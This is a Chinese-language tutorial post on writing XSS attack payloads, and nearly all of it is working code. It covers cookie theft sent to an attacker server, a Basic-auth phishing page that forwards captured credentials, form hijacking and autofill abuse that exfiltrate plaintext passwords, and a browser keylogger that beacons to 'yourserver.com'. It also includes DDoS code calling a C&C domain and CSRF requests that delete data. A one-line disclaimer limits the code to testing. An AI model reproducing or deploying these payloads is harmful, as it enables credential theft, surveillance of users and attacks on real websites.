XSS是一种经常出现在Web应用中的计算机安全漏洞,它允许恶意Web用户将代码植入到提供给其它用户使用的页面中。常见的利用方式有cookie获取、基础认证钓鱼、表单劫持等。通常,在发现XSS漏洞后,会利用跨站平台里面的payload来进行攻击。但是,要更好的理解XSS的危害,还是需要自己动手来写并理解XSS的攻击代码。 ps. 本文所涉及代码仅做测试使用,请不要用于非法用途!
XSS最常见的手段大概就是获取Cookie了吧。
javascript创建img标签,利用img的跨域请求将cookie信息传递到我们的服务器上
var cookie = document.cookie; var ele = document.createElement("img"); //创建img标签 var time = new Date(); ele.src = "http://yourserver.com/xss/xss_cookie/cookie1.php?cookie="+cookie+"&location="+window.location.href+"&time="+time; //cookie获取 ele.id = "imgs";
ajax发起简单跨域请求
function ajax(){ var xmlHttp; try { xmlHttp = new XMLHttpRequest(); }catch(e){ try{ xmlHttp = new ActiveXObject("Msxml2.XMLHTTP"); }catch(e){ try{ xmlHttp = new ActiveXObject("Microsoft.XMLHTTP"); }catch(e){ return false } } } return xmlHttp; } xml = ajax(); //实例化ajax请求对象 url = "http://yourserver.com/xss/xss_cookie/cookie1.php?cookie="+document.cookie+"&location="+window.location.href; xml.open("GET",url,true); //若要传递的数据量较大,可利用 POST方法;xml.open("POST",url,true);xml.send("cookie="+cookie+"&location="+locations); xml.send();
查了查资料,基础认证钓鱼在2012年流传比较广(那时我还只是孩子呀…),通常是你浏览着网站突然弹出一个基础认证的框。其实,所有可以利用标签插入外部资源的网站都可能存在这个漏洞。通常,在论坛等地方,可以自定义引用外部图片(其实就是利用img标签),将src链接到一个需要基础认证后才行访问的资源,那么就会产生弹窗。用你的路由器后台地址试试。
<html> <img src="http://192.168.1.1"> //大家知道访问路由器后台,是需要基础认证的,这里可以试试 </html>
了解基础认证钓鱼的原理后,可以联想到XSS也是实现该漏洞的一种方式。这里先利用php构造一个基础认证页面fish.php,
<?php if($_SERVER['PHP_AUTH_PW'] =="" || $_SERVER['PHP_AUTH_USER'] =="" ) { header('WWW-Authenticate: Basic realm="info you want"'); //自定义描述 header('HTTP/1.0 401 Unauthorized'); //401未认证 } else{ $user = $_SERVER['PHP_AUTH_USER']; $pass = $_SERVER['PHP_AUTH_PW']; $fish = "username:".$user." password:".$pass; header("location:http://yourserver.com/fish_get.php?c=$fish"); //受害者在填写用户名和密码后,location跳转到密码接收页面 } ?>
利用js构造img引用该资源(任何可以引用外部资源的标签,如script)
var img = new Image(); img.src="http://youserver.com/fish.php"
在提交form表单时,通常会调用onsubmit方法。在onsubmit被调用时,说明表单中该填的项肯定都已经填好了,这时,我们通过修改onsubmit方法,便可以获取表单中的信息。
var f=document.forms['myform']; //获取form对象 if(f==undefined) { f=document.getElementById('formid'); } var func=f.onsubmit; f.onsubmit=function(event) { var str=''; for(var i=0;i<f.elements.length;i++) { str+=f.elements[i].name+':'+f.elements[i].value+'||'; //获取form中元素的值 } str=str.substr(0,str.length-2); var img=new Image(); img.src='http://myserver.com/img.php?data='+escape(str)+'&url='+escape(location.href); //将获取的明文密码传递出去 func(event); return true; }
通过js将form表单中的action地址修改,也可偷取明文密码
var f=document.forms['myform']; if(f==undefined) { f=document.getElementById('formid'); } f.action = "http://myserver.com/accept.php"; //在 accept.php中接受POST过来的字段
但是这种方式容易被CSP拦截(限制action指向的页面所在域)
在用户登录时,浏览器通常会提示保存密码。点击保存后,下次再次访问该登录页面,浏览器会自动将保存的用户名和密码填充。所以,利用XSS在目标域下构建一个表单,若受害者在浏览器中保存了密码,那么便可以利用自动填充 的机制获取到明密码。
function create_form(user) { /*获取明文密码*/ var f = document.createElement("form"); document.getElementsByTagName("body")[0].appendChild(f); var e1 = document.createElement("input"); e1.type = "text"; e1.name = e1.id = "username"; e1.value = user; f.appendChild(e1); var e = document.createElement("input"); e.name = e.type = e.id = "password"; f.appendChild(e); setTimeout(function () { var img = new Image(); img.src = "http://yourserver.com/img.php?username=" + document.getElementById("username").value + "&password=" + document.getElementById("password").value; }, 3000); // 时间竞争 } create_form('');
当然这种方法也跟浏览器是否支持有关,作者在FireFox默认配置下测试成功,最新版chrome默认没有提示保存密码。该方法的详细介绍参考余弦大牛 XSS Hack:获取浏览器记住的明文密码
键盘记录在系统木马中经常出现,但是利用js也可获取在浏览器界面上键盘记录
var keys=''; document.onkeypress = function(e) { get = window.event?event:e; key = get.keyCode?get.keyCode:get.charCode; key = String.fromCharCode(key); keys+=key; } window.setInterval(function(){ new Image().src = 'http://yourserver.com/g.php?c='+keys; //在服务器上接收 keys = ''; }, 1000); //每间隔1秒向服务器传递键盘记录,并重置keys
利用js可以很轻易向外域发起请求,这个特性导致XSS被利用进行DDos攻击。YouTube、搜狐等流量巨大的网站,就曾经因为存储型XSS被攻击者利用进行大规模的DDos。这里用youtube事件中攻击代码作为参考:
<img src="/imagename.png" onload="$.getScript("http://c&cdomain.com/index1.html")">//漏洞存在点位于头像处,头像加载后恶意js也被加载 function ddos(url){ $("body").append("<iframe id="ifr11323" style="display:none;" src="http://c&cdomain.com/index2.html"></iframe>")//加载一个隐藏iframe指向攻击者的设定页面 } <html></body><h1>iframe</h1> <script> ddos("http://www.target1.com/1.jpg","http://www.target2.com/1.jpg"); //攻击目标 fucntion ddos(url1,url2){ window.setInterval(){ $.getScript(url1); $.getScript(url2); },1000 //1秒钟发送一次get请求 }; </script></body></html>
事件详细请见 Vulnerability In Worlds’ Largest Site
CSRF(跨站请求伪造)并不依赖于XSS漏洞,但是XSS也是进行CSRF攻击的一种方式。对于GET型
var action = new Image(); action.src = "http://www.target.com/index.php?action=delete&id=123" //删除某个值
POST型
function ajax(){ var xmlHttp; try { xmlHttp = new XMLHttpRequest(); }catch(e){ try{ xmlHttp = new ActiveXObject("Msxml2.XMLHTTP"); }catch(e){ try{ xmlHttp = new ActiveXObject("Microsoft.XMLHTTP"); }catch(e){ return false } } } return xmlHttp; } xml = ajax(); //实例化ajax请求对象 url = "http://www.target.com/index.php"; xml.open("POST",url,true) xml.send("action=delete&id=123"); //删除某个值 xml.send();